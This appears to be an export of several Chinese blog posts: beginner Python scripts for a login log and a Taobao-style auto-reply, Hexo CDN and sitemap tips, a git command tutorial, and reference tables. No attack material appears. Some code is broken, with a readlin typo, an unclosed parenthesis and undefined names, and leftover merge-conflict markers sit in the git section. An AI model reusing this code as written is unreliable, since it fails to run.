#记录日志
def write_logininfo(username):
    with open('log.txt','a') as file:
        s = f'用户名{username}，登录时间：{time.strftime("%Y-%m-%d %H:%M:%S",time.localtime(time.time()))}'
        file.write(s)
        file.write('\n')

#读取日志
def read_logininfo():
    with open('log.txt','r') as file:
        while True:
            line = file.readlin()
            if line == '':
                break
            else:
               print(line,end = '') 
                        
if __name__ == '__main__':
    username = input('请输入用户名：')
    pwd = input('请输入密码：')
    if 'admin' == username and 'admin' == pwd:
        print('登录成功！')
        write_logininfo(username)
        show_info()
        num = int(input('请输入操作数字'))
        while True:
            if num == 0:
                print('退出成功')
                break
            elif num == 1:
                print('查看登录日志')
                read_logininfo()
                num = int(input('输入操作数字：'))
            else:
                print('您输入的数字有误')
                show_info()
                num = int(input('输入操作数字：'))
    else:
        print('对不起，用户名和密码不正确！')
    
    print(time.time())
    print(time.localtime(time.time()))
    print(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))
# （2）模拟淘宝客服的自动回复
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
'''replay.txt文档
订单|如果您有任何订单问题，可以登录淘宝账号，点击“我的订单”，查看订单详情
物流|如果您有任何物流问题，可以登录淘宝账号，点击“我的订单”，查看商品系统
账户|如果您有任何账号问题，可以联系淘宝客服，电话：XXXX-XXXXXX
支付|如果您有任何支付问题，可以联系支付宝客服，QQ：XXXXXXXXX
'''
def find_answer(question):
    with open('replay.txt','r',encoding = 'gbk') as file:
        while True:
            line = file.readline()
            if not line:#if line ==''到文件末尾退出
                break
            #字符串的分隔
            keyword = line.split('|')[0]
            reply = line.split('|')[1]
            if keyword in question:
                return reply
    return False

if __name__ == '__main__':
    question = input('Hi，您好，小蜜在此等主任很久了，有什么烦恼快和小蜜说吧')
    while True:
        if question == 'bye':
            break
        #开始在文件中查找
        replay = find_answer(question)
        if not replay:#如果回复的是False，not False则为True
            question = input('小蜜不知道你在说什么，您可以问一些关于订单、物流、账户、支付等问题（退出请输入bye）')
        else:
            print(replay)
            question = input('小主，您还可以问一些关于订单、物流、账户、支付等问题（退出请输入bye')
    print('小主再见')



Hexo访问优化
2021-02-28T07:24:28.000Z
# 一，静态资源加速
# 1. 文件加速
直接引用
这种方式也就是上边的方式，格式为： https://cdn.jsdelivr.net/gh/<用户名>/<仓库名>/<文件及路径>
分支及版本号
分支与版本号加到仓库后变，用  @ 符链接。格式为： https://cdn.jsdelivr.net/gh/<用户名>/<仓库名>@[分支/版本号]/<文件及路径>
分支名 简述 特点
普通分支 即 GitHub 的分支，可以创建多个。默认为 master 按分支引用，如同按分支开发
latest 最后一次提交 代表最后一次的提交，即每上传一个新文件，都可以用这个分支引用到。也就是不加版本号的默认情况。
版本号 即指定版本的内容，需配合版本发布 已发布的版本不会受到仓库内容变化的影响
jsdeliver 缓存
静态资源不可能第一时间更新、如  jsdelivr  上的资源可能会有一天以上的缓存、这时可以 强制刷新(purge)
例如：
1
https://cdn.jsdelivr.net/gh/xx/xx.github.io@master/js/main.js
通过将  cdn  替换成  purge 、带 purge 的链接只是用来刷新
1
https://purge.jsdelivr.net/gh/xx/xx.github.io@master/js/main.js
看到返回的 json 数据中显示的状态是 OK、就可以重新访问
# 2，图片加速
  ### 方式一
压缩图片推荐采用 picgo±picgo-plugin-compress
上传 自动压缩支持多种压缩格式
压缩效果对比
# 方式二
采用 GitHub-imgbot  自动压缩
# 简介
ImgBot 是一个为你节省时间优化图片的机器人。优化图片意味着不牺牲图片质量和更小的文件大小。 安装后不久，你会收到一个优化图片的 pull request。合并这个 pull request 就行了！Imgbot 会伴随你的工作，保持图片的优化。 ImgBot 默认使用无损压缩。
将 ImgBot 服务安装到你的 GitHub 账户上后，ImgBot 就会自动寻找并压缩你指定仓库中的图片文件 (如果文件多可能耗费时间长)，压缩好后会向你 Pull requests。
确保你选的仓库有图片，不然不会收到 Pull requests
# 二，静态资源压缩
推荐采用 Gulp


sitemap
2021-02-24T12:58:00.000Z
# 一，站点地图（Sitemap）介绍
站点地图是一个网站所有链接的容器。很多网站的连接层次比较深，爬虫很难抓取到，站点地图可以方便爬虫抓取网站页面，通过抓取网站页面，清晰了解网站的架构，网站地图一般存放在根目录下并命名 sitemap，为爬虫指路，增加网站重要内容页面的收录。站点地图就是根据网站的结构、框架、内容，生成的导航网页文件。站点地图对于提高用户体验有好处，它们为网站访问者指明方向，并帮助迷失的访问者找到他们想看的页面。
站点地图为 SEO 带来的好处。
1. 为搜索引擎爬虫提供可以浏览整个网站的链接；
2. 为搜索引擎爬虫提供一些链接，指向动态页面或者采用其他方法比较难以到达的页面；
3. 如果访问者试图访问网站所在域内并不存在的 URL，那么这个访问者就会被转到 “无法找到文件” 的错误页面，而网站地图可以作为该页面的 “准” 内容。
说白了就是让搜索引擎的爬虫，尽可能多的收录你站点上的页面，页面收录的越多，你的网站的流量就会越大。
# 二，安装插件
hexo-generator-sitemap
 生成 sitemap 的插件
hexo-generator-baidu-sitemap
 看名字就知道，是专门为百度生成 sitemap 的插件
切换到 hexo 根目录下，安装搜索引擎插件，插件根据自己的需要安装其中一个或者都安装：
1
2
npm install hexo-generator-sitemap --save
npm install hexo-generator-baidu-sitemap --save
接着
1
hexo g
此时，在 public 的静态文件根目录中会多出一个 sitemap.xml 文件，（如果安装 baidu-sitemap 同时会多一个 baidusitemap.xml）
# 三，使用
将页面提交到服务器后，通过域名 /sitemap.xml 或者域名 /baidusitemap.xml 可以进行访问 sitemap。
最后到 Google 或百度对应的站长工具进行提交 sitemap 就可以了。


git详细
2021-02-21T13:55:23.000Z
# Git 简介
Git 是 Linux 之父 Linus 的第二个伟大的作品，它最早是在 Linux 上开发的，被用来管理 Linux 核心的源代码。后来慢慢地有人将其移植到了 Unix、Windows、Max OS 等操作系统中。
Git 是一个分布式的版本控制系统，与集中式的版本控制系统不同的是，每个人都工作在通过克隆建立的本地版本库中。也就是说每个人都拥有一个完整的版本库，查看提交日志、提交、创建里程碑和分支、合并分支、回退等所有操作都直接在本地完成而不需要网络连接。
对于 Git 仓库来说，每个人都有一个独立完整的仓库，所谓的远程仓库或是服务器仓库其实也是一个仓库，只不过这台主机 24 小时运行，它是一个稳定的仓库，供他人克隆、推送，也从服务器仓库中拉取别人的提交。
Git 是目前世界上最先进的分布式版本控制系统，没有之一，对，没有之一！
# 三个区
工作区 (working diretory) 用于修改文件
缓存区 (stage) 是用来暂时存放工作区中修改的内容
提交历史（commit history） 提交代码的历史记录
# 主要的几个命令
1
2
3
4
5
6
7
8
9
10
11
git add # 将工作区的修改提交到暂存区
git commit # 将暂存区的修改提交到当前分支
git reset # 回退到某一个版本
git stash # 保存某次修改
git pull # 从远程更新代码
git push # 将本地代码更新到远程分支上
git reflog # 查看历史命令
git status # 查看当前仓库的状态
git diff # 查看修改
git log # 查看提交历史
git revert # 回退某个修改
# git commit 用法
git commit –m “本次提交描述”
该命令会将 git add . 存入暂存区修改内容提交至本地仓库中，若文件未添加至暂存区，则提交时不会提交任何修改。
git commit -a
相当于运行 git add -u 把所有当前目录下的文件加入缓存区域再运行 git commit.
 注意！对于新增的文件，并没有被 commit
git commit –am “本次提交描述”
 或者 git commit –a –m “本次提交描述”
等同于上面的 - a 和 - m
git commit --amend
修改最近一次提交。有时候如果提交注释书写有误或者漏提文件，可以使用此命令。对于漏提交的文件，需要 git add 到缓存区之后，git commit --amend 才能将修改追加到最近的一次提交上。
# git stash 用法
$ git stash
 所有未提交的修改都保存起来，用于后续恢复当前工作目录
$ git stash save “stash_name”
 给每个 stash 加一个 message，用于记录版本
$ git stash pop / git stash apply
 恢复最新缓存的工作目录（第一个），并删除缓存堆栈中的那一个 stash 删除 (pop), apply 则只恢复不删除
$ git stash list
 查看现有所有 stash
 在使用 git stash pop (apply) 命令时可以通过名字指定使用哪个 stash，默认使用最近的 stash（即 stash@{0}）
$ git stash drop
 移除最新的 stash，后面也可以跟指定 stash 的名字
# git reset 用法
git reset 根据–soft –mixed –hard，会对 working tree 和 index 和 HEAD 进行重置
$ git reset HEAD^
回退版本，一个 ^ 表示一个版本，可以多个，另外也可以使用 git reset HEAD~n 这种形式。
也可以回退到指定版本：
$ git reset commit-id
soft 参数：git reset --soft HEAD~1 意为将版本库软回退 1 个版本，所谓软回退表示将本地版本库的头指针全部重置到指定版本，且将这次提交之后的所有变更都移动到暂存区
默认的 mixed 参数：git reset HEAD～1 意为将版本库回退 1 个版本，将本地版本库的头指针全部重置到指定版本，且会重置暂存区，即这次提交之后的所有变更都移动到工作区
hard 参数：git reset --hard HEAD～1 意为将版本库回退 1 个版本，但是不仅仅是将本地版本库的头指针全部重置到指定版本，也会重置暂存区，并且会将工作区代码清空（工作区是 clean 状态）
注意，soft 参数与默认参数都不会修改工作区代码，只有 hard 参数才会修改工作区代码。
另外，git reset HEAD filename
 回退文件，将文件从暂存区回退到工作区（unstage），此时不能带 hard,soft 参数
# git reflog
如果在回退以后又想再次回到之前的版本，git reflog 可以查看所有分支的所有操作记录（包括 commit 和 reset 的操作），包括已经被删除的 commit 记录，git log 则不能察看已经删除了的 commit 记录
1
2
3
4
5
6
7
8
615ce06 HEAD@{44}: rebase -i (finish): returning to refs/heads/my_test_branch
615ce06 HEAD@{45}: rebase -i (fixup): zancun_new
702356c HEAD@{46}: rebase -i (fixup): # This is a combination of 2 commits.
c997622 HEAD@{47}: rebase -i (reword): zancun_new
fb74ec2 (origin/master, origin/HEAD) HEAD@{48}: rebase -i (start): checkout FETCH_HEAD
f3ef592 HEAD@{49}: commit: zancun3
6b82c75 HEAD@{50}: commit: zancun2
e900fa0 HEAD@{51}: commit: zancun
比如说，回退到 commit: zancun3，只需要：
git reset --hard f3ef592 (或者 HEAD@{49}) 即可
这个命令对于找回丢失的代码非常有用。
# git add
删除文件后需要 git add -A, 光 git add. 不行，区别如下：
git add -A 保存所有的修改
 git add . 保存新的添加和修改，但是不包括删除
 git add -u 保存修改和删除，但是不包括新建文件。
所以默认使用 git add -A 就行
# git checkout
git checkout 既可以操作分支，也可以操作文件
# git checkout 切换分支
$ git checkout -b newBranchName
Switched to a new branch ‘newBranchName’
这相当于执行下面这两条命令：
git branch newBranchName
git checkout newBranchName (工作区一定要是 clean 的)
$ git checkout -b newBranchName remote_branch_name
 拉取远程分支 remote_branch_name 创建一个本地分支 newBranchName，并切到本地分支 newBranchName，采用此种方法建立的本地分支会和远程分支建立映射关系。
# git checkout 回退修改
git checkout – fileName
 这条命令把 fileName 从当前 HEAD 中检出，也就是回退当前工作区的这个文件的修改
–可以省略不写
如果需要回退工作区的全部文件修改，可以使用：
git checkout --hard HEAD
 而不需要对每个文件进行 checkout，这样太累
# git revert
git revert, 反转提交，撤销一个提交的同时会创建一个新的提交，也就是用一个新提交来消除一个历史提交所做的任何修改.
git revert commit-id revert 指定的一个 commit
git revert HEAD~3 revert 指定倒数第四个 commit
revert 过程有可能遇到冲突，要么 git revert --abort 终止此次 revert 操作，代码还原至 revert 命令前。要么手动消除冲突 (同普通的冲突解决)，然后 add commit
# reset,checkout,revert 总结
<<<<<<< HEAD
下面这个表格总结了这些命令最常用的使用场景。记得经常对照这个表格，因为你使用 Git 时一定会经常用到。
命令 作用域 常用情景
git reset 提交层面 在私有分支上舍弃一些没有提交的更改
git reset 文件层面 将文件从缓存区中移除
git checkout 提交层面 切换分支或查看旧版本
git checkout 文件层面 舍弃工作目录中的更改
git revert 提交层面 在公共分支上回滚更改
git revert 文件层面 （然而并没有）
=======
 下面这个表格总结了这些命令最常用的使用场景。记得经常对照这个表格，因为你使用 Git 时一定会经常用到。
命令 作用域 常用情景
git reset 提交层面 在私有分支上舍弃一些没有提交的更改
git reset 文件层面 将文件从缓存区中移除
git checkout 提交层面 切换分支或查看旧版本
git checkout 文件层面 舍弃工作目录中的更改
git revert 提交层面 在公共分支上回滚更改
git revert 文件层面 （然而并没有）
1e6acdcbc1bb278f2ad0c275b0a6360e6149c936
# 删除分支
删除分支： $ git branch -d branchName
 或者， git branch -D branchName 删除分支（不管它有没有 merge）
前提是先要切换到其他分支
$ git branch -d branch1
error: The branch ‘branch1’ is not fully merged.
If you are sure you want to delete it, run ‘git branch -D branch1’.
# git push
git push 命令用于将本地分支的更新，推送到远程主机。
1
2
$ git push <远程主机名> <本地分支名>:<远程分支名>
$ git push origin master
上面命令表示，将本地的 master 分支推送到 origin 主机的 master 分支。如果 master 不存在，则会被新建。
如果省略本地分支名，则表示删除指定的远程分支，因为这等同于推送一个空的本地分支到远程分支。
1
2
3
$ git push origin :master
# 等同于
$ git push origin --delete master
上面命令表示删除 origin 主机的 master 分支。如果当前分支与远程分支之间存在追踪关系，则本地分支和远程分支都可以省略。
1
$ git push origin
上面命令表示，将当前分支推送到 origin 主机的对应分支。如果当前分支只有一个追踪分支，那么主机名都可以省略。
1
$ git push
如果当前分支与多个主机存在追踪关系，则可以使用 - u 选项指定一个默认主机，这样后面就可以不加任何参数使用 git push
1
$ git push -u origin master
上面命令将本地的 master 分支推送到 origin 主机，同时指定 origin 为默认主机，后面就可以不加任何参数使用 git push 了。
将当前分支推送到远程的同名的简单方法，如下:
1
$ git push origin HEAD
将当前分支推送到源存储库中的远程引用匹配主机。 这种形式方便推送当前分支，而不考虑其本地名称。如下:
1
$ git push origin HEAD:master
单独使用 git push 时，没有指定 push 的 remote 分支名，假如当前本地分支名称与其对应的 remote 分支名称不一样，则会有一下提示：
1
2
3
4
5
6
7
8
9
10
11
fatal: The upstream branch of your current branch does not match
the name of your current branch.  To push to the upstream branch
on the remote, use

    git push origin HEAD:my_new_test_branch

To push to the branch of the same name on the remote, use

    git push origin test

To choose either option permanently, see push.default in 'git help config'.
当执行 git push origin test 时，会在远程重新创建一个新的分支，名称就是 test，然后把修改同步到 test 分支。
# git pull
git pull 命令用于从另一个存储库或本地分支获取并集成 (整合)。git pull 命令的作用是：取回远程主机某个分支的更新，再与本地的指定分支合并，
1
$ git pull <远程主机名> <远程分支名>:<本地分支名>
比如，要取回 origin 主机的 master 分支，与本地的 test 分支合并，需要写成下面这样
1
$ git pull origin master:test
如果远程分支 (master) 要与当前分支合并，则冒号后面的部分可以省略。上面命令可以简写：
1
$ git pull origin master
将远程存储库中的更改合并到当前分支中。在默认模式下，git pull 是 git fetch 后跟 git merge FETCH_HEAD 的缩写。
更准确地说，git pull 使用给定的参数运行 git fetch，并调用 git merge 将检索到的分支头合并到当前分支中。 使用–rebase，它运行 git rebase 而不是 git merge。也就是说
1
2
git pull = git fetch + git merge
git pull --rebase = git fetch + git rebase
git 中都 fetch 命令是将远程分支的最新内容拉到了本地，但是 fetch 后是看不到变化的，此时本地多了一个 FETCH_HEAD 的指针，checkout 到该指针后可以查看远程分支的最新内容。然后 checkout 到 master 分支，执行 metch, 选中 FETCH_HEAD 指针，合并后如果出现冲突则解决冲突，最后 commit。
pull 的作用就相当于 fetch 和 merge，自动合并
git fetch origin master
git merge FETCH_HEAD
git fetch origin isoda-android_1.3.0_feature :branch1
 使用远程 isoda-android_1.3.0_feature 分支在本地创建 branch1 分支（但不会切换到该分支）
# 1. git merge
将 origin 分支合并到 mywork 分支最简单的办法就是用下面这些命令
git checkout mywork
git merge origin
或者，你也可以把它们压缩在一行里:
git merge origin mywork
假设远程分支上有 3 次提交 A,B,C:
在远程分支 origin 的基础上创建一个名为 "mywork" 的本地分支并提交了修改 E，同时有其他人在 "origin" 上做了一些修改并提交了修改 D。
用 git merge 命令把 "origin" 分支与本地提交合并（merge）成版本 M，mywork 分支中新的合并提交（merge-commit）将两个分支的历史连在了一起，但这样会形成图中的菱形，让人很困惑。
Merge 好在它是一个安全的操作，比较安全，现有的分支不会被更改，避免了 rebase 潜在的缺点（后面会说）。另一方面，这同样意味着每次合并上游更改时 feature 分支都会引入一个外来的合并提交。如果 master 非常活跃的话，这或多或少会污染你的分支历史。虽然高级的 git log 选项可以减轻这个问题，但对于开发者来说，还是会增加理解项目历史的难度。
# 2. git rebase
作为 merge 的替代选择，你可以像下面这样将 mywork 分支并入 origin 分支：
git checkout mywork
git rebase origin
它会把整个 mywork 分支移动到 origin 分支的后面，有效地把所有 master 分支上新的提交并入过来。但是，rebase 为原分支上每一个提交创建一个新的提交，重写了项目历史，并且不会带来合并提交。rebase 的好处是避免了菱形的产生，保持提交曲线为直线，让大家易于理解。
rebase 最大的好处是你的项目历史会非常整洁。首先，它不像 git merge 那样引入不必要的合并提交。其次，如上图所示，rebase 导致最后的项目历史呈现出完美的线性 —— 你可以从项目终点到起点浏览而不需要任何的 fork。这让你更容易使用 git log、git reset 和 gitk 来查看项目历史。
不过，这种简单的提交历史会带来两个后果：安全性和可跟踪性。如果你违反了 rebase 黄金法则，重写项目历史可能会给你的协作工作流带来灾难性的影响。此外，rebase 不会有合并提交中附带的信息 —— 你看不到 mywork 分支中并入了上游的哪些更改。
在 rebase 的过程中，有时也会有 conflict，这时 Git 会停止 rebase 并让用户去解决冲突，解决完冲突后，用 git add 命令去更新这些内容，然后不用执行 git commit, 直接执行 git rebase --continue, 这样 git 会继续 apply 余下的补丁。
在任何时候，都可以用 git rebase --abort 参数来终止 rebase 的行动，并且 mywork 分支会回到 rebase 开始前的状态。
官方的两张 merge 和 rebase 对比图：
merge 示例图：
rebase 示例图：
# 3. rebase 的高级操作–交互式 rebase
交互式的 rebase 允许你更改并入新分支的提交。这比自动的 rebase 更加强大，因为它提供了对分支上提交历史完整的控制。一般来说，这被用于将 feature 分支并入 master 分支之前，清理混乱的历史。
把 -i 传入 git rebase 选项来开始一个交互式的 rebase 过程：
git checkout feature
git rebase -i master
它会打开一个文本编辑器，显示所有将被移动的提交：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pick e900fa0 zancun
pick 6b82c75 zancun2
pick f3ef592 zancun3

# Rebase fb74ec2..f3ef592 onto fb74ec2 (3 commands)
#
# Commands:
# p, pick = use commit
# r, reword = use commit, but edit the commit message
# e, edit = use commit, but stop for amending
# s, squash = use commit, but meld into previous commit
# f, fixup = like "squash", but discard this commit's log message
# x, exec = run command (the rest of the line) using shell
# d, drop = remove commit
#
# These lines can be re-ordered; they are executed from top to bottom.
#
# If you remove a line here THAT COMMIT WILL BE LOST.
#
# However, if you remove everything, the rebase will be aborted.
#
# Note that empty commits are commented out
这个列表定义了 rebase 将被执行后分支会是什么样的。更改 pick 命令或者重新排序，这个分支的历史就能如你所愿了。比如说，如果第二个和第三个提交只是修复了第一个提交中的小问题，你可以用 fixup 命令把它们合到第一个提交中，并修改第一个的日志：
1
2
3
r e900fa0 zancun
f 6b82c75 zancun2
f f3ef592 zancun3
这样三个提交合并成了一个提交，并可以重新修改提交日志，非常实用。
忽略不重要的提交会让你的 feature 分支的历史更清晰易读。这是 git merge 做不到的。
# 4. Rebase 的黄金法则
当你理解 rebase 是什么的时候，最重要的就是什么时候不能用 rebase。git rebase 的黄金法则便是，绝不要在公共的分支上使用它。
比如说，如果你把 master 分支 rebase 到你的 feature 分支上会发生什么：
这次 rebase 将 master 分支上的所有提交都移到了 feature 分支后面。问题是它只发生在你的代码仓库中，其他所有的开发者还在原来的 master 上工作。因为 rebase 引起了新的提交，Git 会认为你的 master 分支和其他人的 master 已经分叉了。
同步两个 master 分支的唯一办法是把它们 merge 到一起，导致一个额外的合并提交和两堆包含同样更改的提交。不用说，这会让人非常困惑。
所以，在你运行 git rebase 之前，一定要问问你自己「有没有别人正在这个分支上工作？」。如果答案是肯定的，那么把你的爪子放回去，重新找到一个无害的方式（如 git merge）来提交你的更改。不然的话，你可以随心所欲地重写历史。
# 5. rebae 的本地清理功能
在你工作流中使用 rebase 最好的用法之一就是清理本地正在开发的分支。隔一段时间执行一次交互式 rebase，你可以保证你 feature 分支中的每一个提交都是专注和有意义的。
调用 git rebase 的时候，你有两个基（base）可以选择：上游分支（比如 master）或者你 feature 分支中早先的一个提交。我们在「交互式 rebase」一节看到了第一种的例子。后一种在当你只需要修改最新几次提交时也很有用。比如说，下面的命令对最新的 3 次提交进行了交互式 rebase：
1
2
git checkout feature
git rebase -i HEAD~3(或者第四个commit-id)
这样，就可以对本地提交历史中最新的三个提交进行重新整理了，包括提交合并，提交日志修改等等。
通过指定 HEAD~3 作为新的基提交，你实际上没有移动分支 —— 你只是将之后的 3 次提交重写了。注意它不会把上游分支（master）的更改并入到 feature 分支中。
交互式 rebase 是在你工作流中引入 git rebase 的的好办法，因为它只影响本地分支。其他开发者只能看到你已经完成的结果，那就是一个非常整洁、易于追踪的分支历史。
# 追踪关系
建立 test 仓库 并建立追踪关系
1
$ git branck --track test origin/master
修改追踪关系
先切换到 test
1
$ git checkout test
修改追踪仓库（一定要先切换）
1
$ git branch --set-upstream-to  origin/master
建立追踪关系之后，本地分支名称和远程一样时，使用 git push 时不用带上远程名称，git pull 也不用带上远程分支名
# git 冲突的修复
# 1. 直接编辑冲突文件
使用 git pull --rebase 经常会出现冲突
冲突产生后，文件系统中冲突了的文件里面的内容会显示为类似下面这样：
1
2
3
4
5
6
7
<<<<<<< HEAD
 * test2
 * test3
=======
 * this is my modify, my be conflicked
 * test1000
>>>>>>> my_modify
其中：<<<<<<<（7 个 <）HEAD 与 = 之间的内容是 remote 上的修改，冲突标记 = 与>>>>>>> 之间的内容是我的修改内容。
在这两者之间选择任何你需要的内容保留下来，并删除所有的 ===,<<<,>>> 即可解决冲突，解决完成之后，git add -A, git rebase --continue 就提交了代码
# 2. 利用图形界面工具解决冲突
当然我们也可以利用图形工具解决冲突
如果要解决的冲突很多，且比较复杂，图形界面的冲突解决工具就显得很重要了。
执行 git mergetool 用预先配置的 Meld (Beyond Compare) 解决冲突：
上面左右两个窗口依次是 “LOCAL”、“REMOTE”，它们只是提供解决冲突需要的信息，是无法编辑的。中间的窗口是合并后的结果，可以手动修改，也可以点击相应颜色的箭头选择 “LOCAL” 或者 “REMOTE”。
如果不向解决冲突，回到之前状态，可执行：
1
$ git rebase --abort
# 3. 代码提交完整流程
步骤如下：
git add -A
git commit -m “message”
git pull --rebase (或者 git fetch + git rebase）
解决冲突
 git add 冲突文件
 git rebase –continue
git push
 其中，3、4、5 点，如果没遇到冲突就不用进行，直接 push 上去。
当遇到冲突时，git 会提示 patch failed，并要我们解决问题了再执行 git rebase --continue
# 常用命令速查表

写法	解释
title	【必需】页面标题
date	【必需】页面创建日期
type	【必需】标签、分类和友情链接三个页面需要配置
updated	【可选】页面更新日期
description	【可选】页面描述
keywords	【可选】页面关键字
comments	【可选】显示页面评论模块 (默认 true)
top_img	【可选】页面顶部图片
mathjax	【可选】显示 mathjax (当设置 mathjax 的 per_page: false 时，才需要配置，默认 false)
katex	【可选】显示 katex (当设置 katex 的 per_page: false 时，才需要配置，默认 false)
aside	【可选】显示侧边栏 (默认 true)
aplayer	【可选】在需要的页面加载 aplayer 的 js 和 css, 请参考文章下面的音乐配置
highlight_shrink	【可选】配置代码框是否展开 (true/false)(默认为设置中 highlight_shrink 的配置)

写法	解释
title	【必需】文章标题
date	【必需】文章创建日期
updated	【可选】文章更新日期
tags	【可选】文章标签
categories	【可选】文章分类
keywords	【可选】文章关键字
description	【可选】文章描述
top_img	【可选】文章顶部图片
cover	【可选】文章缩略图 (如果没有设置 top_img, 文章页顶部将显示缩略图，可设为 false / 图片地址 / 留空)
comments	【可选】显示文章评论模块 (默认 true)
toc	【可选】显示文章 TOC (默认为设置中 toc 的 enable 配置)
toc_number	【可选】显示 toc_number (默认为设置中 toc 的 number 配置)
copyright	【可选】显示文章版权模块 (默认为设置中 post_copyright 的 enable 配置)
copyright_author	【可选】文章版权模块的文章作者
copyright_author_href	【可选】文章版权模块的文章作者链接
copyright_url	【可选】文章版权模块的文章连结链接
copyright_info	【可选】文章版权模块的版权声明文字
mathjax	【可选】显示 mathjax (当设置 mathjax 的 per_page: false 时，才需要配置，默认 false)
katex	【可选】显示 katex (当设置 katex 的 per_page: false 时，才需要配置，默认 false)
aplayer	【可选】在需要的页面加载 aplayer 的 js 和 css, 请参考文章下面的音乐配置
highlight_shrink	【可选】配置代码框是否展开 (true/false)(默认为设置中 highlight_shrink 的配置)
aside	【可选】显示侧边栏 (默认 true)

数据结构	是否可变	是否重复	是否有序	定义符号
列表 (list)	可变	可重复	有序	[]
元组 (tuple)	不可变	可重复	有序	()
字典 (dict)	可变	key 不可重复，value 可重复	无序
集合 (set)	可变	不可重复	无序	{}

序号	异常类型	描述
1	ZeroDivisionError	除（或取模）零（所有数据类型）
2	IndexError	序列中没有此索引（index）
3	KeyError	映射中没有这个键
4	NameError	未声明 / 初始化对象（没有属性）
5	SyntaxError	Python 语法错误
6	ValueError	传入无效的参数

	面向过程	面向对象
区别	事物比较简单，可以用线性的思维去解决	事物比较复杂，使用简单的线性思维无法解决
共同点	面向过程和面向对象都是解决实际问题的一种思维方式
	二者相辅相成，并不是对立的；解决复杂问题，通过面向对象方式便于我们从宏观上把握事物之间复杂的关系、方便我们分析整个系统；具体到微观操作，仍然使用面向过程方式来处理。

	名称	描述
特殊属性	__dict()__	获得类对象或者实例对象所绑定的所有属性和方法的字典
特殊方法	__len__()	通过重写__len__()方法，让内置函数len()的参数可以是自定义类型
	__add__()	通过重写__add__()方法，可以使用自定义对象具有“+”功能
	__new__()	用于创建对象
	__init__()	对创建的对象进行初始化

模块名	描述
sys	与 Python 解释器及其环境操作相关的标准库
time	提供与时间相关的各种函数的标准库
os	提供了访问操作系统服务功能的标准库
calendar	提供与日期相关的各种函数的标准库
urllib	用于读取来自网上（服务器）的数据标准库
json	用于使用 JSON 序列化和反序列化对象
re	用于在字符串中执行正则表达式匹配和替换
math	提供标准算术运算函数的标准库
decimal	用于进行精确控制运算精度、有效数位和四舍五入操作的十进制运算
logging	提供了灵活的记录事件、错误、警告和调试信息等日志信息的功能

打开模式	描述
r	只读模式打开文件，文件指针将会放在文件的开头
w	只写模式打开文件，如果文件不存在则创建；如果文件存在，则覆盖原有内容，指针放在文件开头
a	追加模式打开文件，如果文件不存在则创建，文件指针在文件开头；如果文件存在，则在文件末尾追加内容，文件指针在原文件末尾
b	二进制方式打开文件，不能单独使用，需要与其他模式一起使用，rb 或者 wb
+	读写模式打开文件，不能单独使用，需要与其他模式一起使用，a+

方法名	说明
read([size])	从文件中读取 size 个字节或字符的内容返回，若省略 [size]，则读取到文件末尾，一次读取文件所有内容
readline()	从文本文件中读取一行内容
readlines()	把文本文件中每一行都作为独立的字符串对象，并将这些对象放入列表返回
write(str)	将字符串 str 内容写入文件
writelines(s_list)	将字符串列表 s_list 写入文本文件，不添加换行符
seek(offset[,whence])	把文件指针移动到新的位置，offset 表示相对 whence 的位置；offset 为正往结束方向移动，为负往开始方向移动。whence 不同的值代表不同含义：0 从文件头开始计算，1 从当前位置开始计算；2 从文件末尾开始计算
tell()	返回文件指针的当前位置
flush()	把缓冲区的内容写入文件，但不关闭文件
close()	把缓冲区的内容写入文件，同时关闭文件，释放文件对象相关资源

函数	说明
getcwd()	返回当前的工作目录
listdir()	返回指定路径下的文件和目录信息
mkdir(path[,mode])	创建目录
makedirs(path1/path2…[,mode])	创建多级目录
rmdir(path)	删除目录
removedirs(path1/path2…)	删除多级目录
chdir(path)	将 path 设置成当前工作目录

函数	说明
abspath(path)	用于获取文件或目录的绝对路径
exists(path)	用于判断文件或目录是否存在，如果存在返回 True，否则返回 False
join(path,name)	将目录与目录或者文件名拼接起来
splitext()	分离文件名和扩展名
basename(path)	从一个目录中提取文件名
dirname(path)	从一个路径中提取文件路径，不包括文件名
isdir(path)	用于判断是否为路径

编号	功能
0	退出系统
1	录入学生信息，调用 insert () 函数
2	查找学生信息，调用 search () 函数
3	删除学生信息，调用 delete () 函数
4	修改学生信息，调用 modify () 函数
5	对学生成绩排序，调用 sort () 函数
6	统计学生总人数，调用 total () 函数
7	显示所有学生信息，调用 show () 函数

分支名	简述	特点
普通分支	即 GitHub 的分支，可以创建多个。默认为 master	按分支引用，如同按分支开发
`latest`	最后一次提交	代表最后一次的提交，即每上传一个新文件，都可以用这个分支引用到。也就是不加版本号的默认情况。
版本号	即指定版本的内容，需配合版本发布	已发布的版本不会受到仓库内容变化的影响

命令	作用域	常用情景
git reset	提交层面	在私有分支上舍弃一些没有提交的更改
git reset	文件层面	将文件从缓存区中移除
git checkout	提交层面	切换分支或查看旧版本
git checkout	文件层面	舍弃工作目录中的更改
git revert	提交层面	在公共分支上回滚更改
git revert	文件层面	（然而并没有）